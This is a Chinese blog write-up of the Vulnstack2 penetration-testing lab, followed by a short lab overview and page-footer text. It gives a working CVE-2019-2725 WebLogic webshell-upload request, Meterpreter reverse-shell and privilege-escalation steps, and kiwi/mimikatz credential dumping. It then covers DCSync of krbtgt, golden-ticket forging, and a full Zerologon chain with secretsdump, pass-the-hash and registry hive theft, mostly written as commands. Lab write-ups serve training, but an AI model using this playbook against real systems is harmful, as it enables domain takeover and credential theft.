Vulnstack2学习


一、环境搭建

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
前置操作
在这里插入图片描述访问192.168.147.80:7001/console进行加载配置
至此环境搭好了

二、拿下边界服务器

第一步信息收集,nmap开扫,发现存在weblogic服务
在这里插入图片描述上weblogicscan,发现漏洞cve-2019-2725

在这里插入图片描述利用cve-2019-2725进行webshell上传,上传后webshell路径为
http://192.168.147.80:7001/bea_wls_interna/webshell.jsp
值的注意的是,这里要用POST方式,且HTTP头中需要有content-type: text/xml。否则会爆500错误

payload:


POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.147.80:7001
Content-Length: 3260
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string><void method="println"><string><![CDATA[
复制Webshell到此处
]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

在这里插入图片描述
在这里插入图片描述

上传哥斯拉webshell,获取webshell后,联动msf使用了哥斯拉自带的java回弹shell发现没有getsystem等命令,从万能的百度中得出答案很可能是载荷问题,这里用的是哥斯拉自带的的set payload java/meterpreter/reverse_tcp,为了避免出现更多的其他问题,这里新生成windows/x64/meterpreter/reverse_tcp的载荷,做个分离免杀,上传到目标机器,并通过哥斯拉的虚拟终端执行,成功获得回弹shell。

在这里插入图片描述在这里插入图片描述

三、域渗透

这里使用了两种不同的方法来获取域控

Part1.通过伪造黄金票据获取域控

首先,需要明白伪造金票的前提:

  1. 域名称
  2. 域的SID值 #通过whoami /user 去掉最后横线的数字剩下的就是SID
  3. 域的KRBTGT账户NTLM-HASH(只有在域控中,或者是域内Client中才能导出krbtgt用户的hash)
  4. 伪造的用户名,可以是任意用户名

这里加载kiwi模块来读取web服务器中的账号密码(mimikatz已更新为kiwi)

load mimikatz #或者use kiwi也行,效果是一样的

在这里插入图片描述

1.1弯路

(因为第一次使用kiwi,看网上说要在system权限下才能用,结果后来发现,system下有些模块没法用,就比如dcsync模块和kiwi 调用mimikatz读取kerbtgthash的命令就没法用,而在Administrator权限下则能正常使用。当然,读取密码等命令就需要在system下才能用。而这里就是踩坑的记录,不想看可跳转至直路)
因为kiwi需要system权限,因此我直接尝试getsystem,但是并没有成功。于是打算手动提权。

手动提权

因为kiwi需要system权限,因此我直接尝试getsystem,但是并没有成功。于是打算手动提权。
将session放到后台,使用local_exploit_suggester查询可用的exp

background
use local_exploit_suggester
show options
set  session 4
run

在这里插入图片描述

从返回结果中发现有很多提权的漏洞能使用,这里用个最新的cve-2019-1458,成功返回一个新的shell给我们,并且是system,接着就是读密码了

use exploir/windows/local/cve_2019_1458_wizardopium
show options 
set session 4
set lport 5555#图有点问题,这里4444已经被占用了,因此要改成其他端口。当然不改也行,但是好像会顶掉前面的msf shell。我这里就没改
run

在这里插入图片描述
在这里插入图片描述

加载kiwi模块读取密码明文
use kiwi
#使用help kiwi可以查看有什么命令
creds_all

在这里插入图片描述

在这里插入图片描述

成功获取域控密码。但这里主题是伪造票据,因此我们还不能结束。

读取krbtgt哈希

这里直接使用kiwi_cmd 调用mimikratz抓krbtgt 哈希出现问题,分析发现执行时,会把空格后的当作新命令,而不是参数。如图

在这里插入图片描述

百度一波,没找到原因(万能的百度倒下了)。打开小飞机,google得出解决办法:使用转义符号\转义双引号即可。
但又出现了新的问题,报出错误码8439,只能继续google,无果。后来知道这是因为system权限的原因。

在这里插入图片描述

只好上传mikiratz到目标机器上操作。(这里是通过3389操作的,使用命令 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 来打开3389端口,然后使用前面获取到的密码来登录)

成功获取制作票据的所有条件

lsadump::dcsync /domain:hacker.com /user:krbtgt

在这里插入图片描述

1.2直路

我们的msfshell当前权限直接就是Administrator
一条命令完事,成功获取所有前提

use kiwi
dcsync de1ay\\krbtgt#第一个\是转义符号

在这里插入图片描述

1.3伪造金票

总结我们获取的数据:
域 :de1ay.com
krbtgt hash :82dfc71b72a11ef37d663047bc2088fb
SID:S-1-5-21-2756371121-2868759905-3853650604
使用kiwi的金票伪造,在本地目录中可以找到票据。

生成票据
golden_ticket_create -d de1ay.com -k 82dfc71b72a11ef37d663047bc2088fb -s S-1-5-21-2756371121-2868759905-3853650604 -u Administrator -t //usr//mytool//888.ticket

在这里插入图片描述

向需要提权的计算机导入票据

这里以w7做实验对象。先给w7上传一个msf马,然后连接。

kerberos_ticket_use /usr/mytool/888.ticket

在这里插入图片描述

分别是导入前后的效果。成功访问,之前没权限访问的资源。
在这里插入图片描述

Part2.通过域内提权漏洞获取域控

上述操作的前提是受控计算机有Administrator权限,但现实中往往没那么顺利,比如域管如果没登录过这台机器,那我们上述操作就死在第一步了。于是回到最初,假设我们无法通过该机器获取域管账号及权限的前提来重新打一波。

这里从获取webshell及给w2003server上传msf 马并获取shell开始。

前提:假设已经获取了w2003的权限并且开启了3389,但是w2003无法获取域管账号及权限。

上传nmap到目标计算机进行内网扫描。

在这里插入图片描述

在这里插入图片描述

没发现有其他web或者数据库服务,只有135、139、445等端口,但又不想用ms17-010来操作。

突然想试试前阵子新出的漏洞CVE-2020-1472。
同时上传ew+frp到目标机器上准备做内网穿透(内网穿透详情看之前写的vulnstack1)

CVE-2020-1472

原理:略
作用:可利用该漏洞将域控的计算机的机器账号密码置为控(!!这里置空的不是用户账号),从而控制域控服务器

这里用到的exp有
1.https://github.com/dirkjanm/CVE-2020-1472中的cve-2020-1472-exploit.py(不知道是我操作问题还是还原密码脚本问题,死活还原不了,所以找了另一个大佬写的还原exp来用)
2.https://github.com/risksense/zerologon中的reinstall_original_pw.py(问题同上,置空一直失败)
3.impacket工具包

复现过程

查看机器账号

从这里得知机器账号为DC 也叫netbios名,加上$就是机器名(主机名)。而cve-2020-1472置空的就是这个机器账号的密码

net view
#使用命令 net group "Domain Controllers" /domain 更好
#通过ping 域名就能得到域控的ip

在这里插入图片描述

使用攻击脚本置空密码
proxychains python3 /home/momo/桌面/cve/CVE-2020-1472-master/cve-2020-1472-exploit.py DC 10.10.10.10

在这里插入图片描述

使用空密码登录并导出域控中密码的hash

这里是使用计算机机器帐户及其哈希进行身份验证然后从NTDS.DIT​​文件中远程dump域内所有密码哈希。
可见机器密码为空
这里\是转义符;hash值31d6cfe0d16ae931b73c59d7e0c089c0代表空

proxychains python3 secretsdump.py de1ay.com/DC\$@10.10.10.10 -no-pass

在这里插入图片描述

利用域管账号的hash进行连接
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:448d8b9b12de85540ef702d74ec85ef7 de1ay.com/Administrator@10.10.10.10

在这里插入图片描述

下载目标的sam文件为下一步恢复机器密码做准备

SAM文件即账号密码数据库文件
(可能sam中的密码是在重启之后才会更新的?不然没法解释为什么还能找到原密码)
在wmi shell下执行下述命令,下载的SAM文件可在impacket的目录下的examples中找到

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

get system.save
get sam.save
get security.save

del /f system.save
del /f sam.save
del /f security.save
exit

在这里插入图片描述
在这里插入图片描述

破解sam文件查看过去的机器密码
proxychains python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

在这里插入图片描述

恢复原密码

使用还原exp来还原密码

proxychains python3 /home/momo/桌面/cve/zerologon-master/reinstall_original_pw.py DC 10.10.10.10 76c7e90351db186f6bb846e57b03652f

在这里插入图片描述
在这里插入图片描述

至此,利用结束。此后我们就可以利用前面的域管hash来操控域控了。
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:448d8b9b12de85540ef702d74ec85ef7 de1ay.com/Administrator@10.10.10.10

在这里插入图片描述

### 关于红日靶场的概述 红日靶场是由红日安全团队开发的一系列用于网络安全测试和渗透测试的学习平台。这些靶场旨在帮助学习者通过实际操作掌握网络攻击与防御的技术细节[^1]。 #### 红日靶场的功能特点 红日靶场提供了多个版本,例如 `vulnstack` 系列中的不同版本(如 vulnstack-7),每个版本都模拟了一个真实的网络环境,包含了多种常见的漏洞场景供用户实践。例如,在 `vulnstack-7` 中,可以通过访问其官网获取详细的漏洞描述和技术背景信息[^2]。 #### 域控制器的操作方法 在某些红日靶场环境中,可以利用命令行工具来查看域控制器的信息。例如,使用以下命令可以列出当前域下的所有域控制器: ```bash net group "domain controllers" /domain ``` 这一步对于了解目标网络结构非常重要,尤其是在涉及 Active Directory 的渗透测试中[^3]。 #### 远程连接到域控制器 一旦获得了域控制器的 IP 地址,就可以尝试通过远程桌面协议 (RDP) 登录到该服务器上。如果已知默认管理员账户及其密码,则可以直接登录并进一步探索内部资源。需要注意的是,在真实环境下不应未经授权执行此类操作;而在练习过程中为了简化流程可能会提供明文凭据,比如用户名为 `administrator`,密码为 `Admin12345`[^4]。 #### 存活主机探测技术 针对内网中存在的其他潜在可攻陷设备,Metasploit Framework 提供了几种有效的扫描模块来进行存活检测。以下是几个常用的辅助模块示例: - **UDP Sweep**: 使用 UDP 数据包批量发送请求以识别响应节点。 ```ruby use auxiliary/scanner/discovery/udp_sweep ``` - **NetBIOS Name Query Scanner**: 针对 Windows 平台上的 NetBIOS 协议实现服务名称解析功能。 ```ruby use auxiliary/scanner/netbios/nbname ``` 以上提到的方法均需谨慎对待,并仅限于合法授权范围内的实验用途[^5]。 ### 注意事项 尽管上述内容有助于理解如何开展基础性的信息安全评估活动,但在任何情况下都不应滥用所学技能去损害他人利益或违反法律法规。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值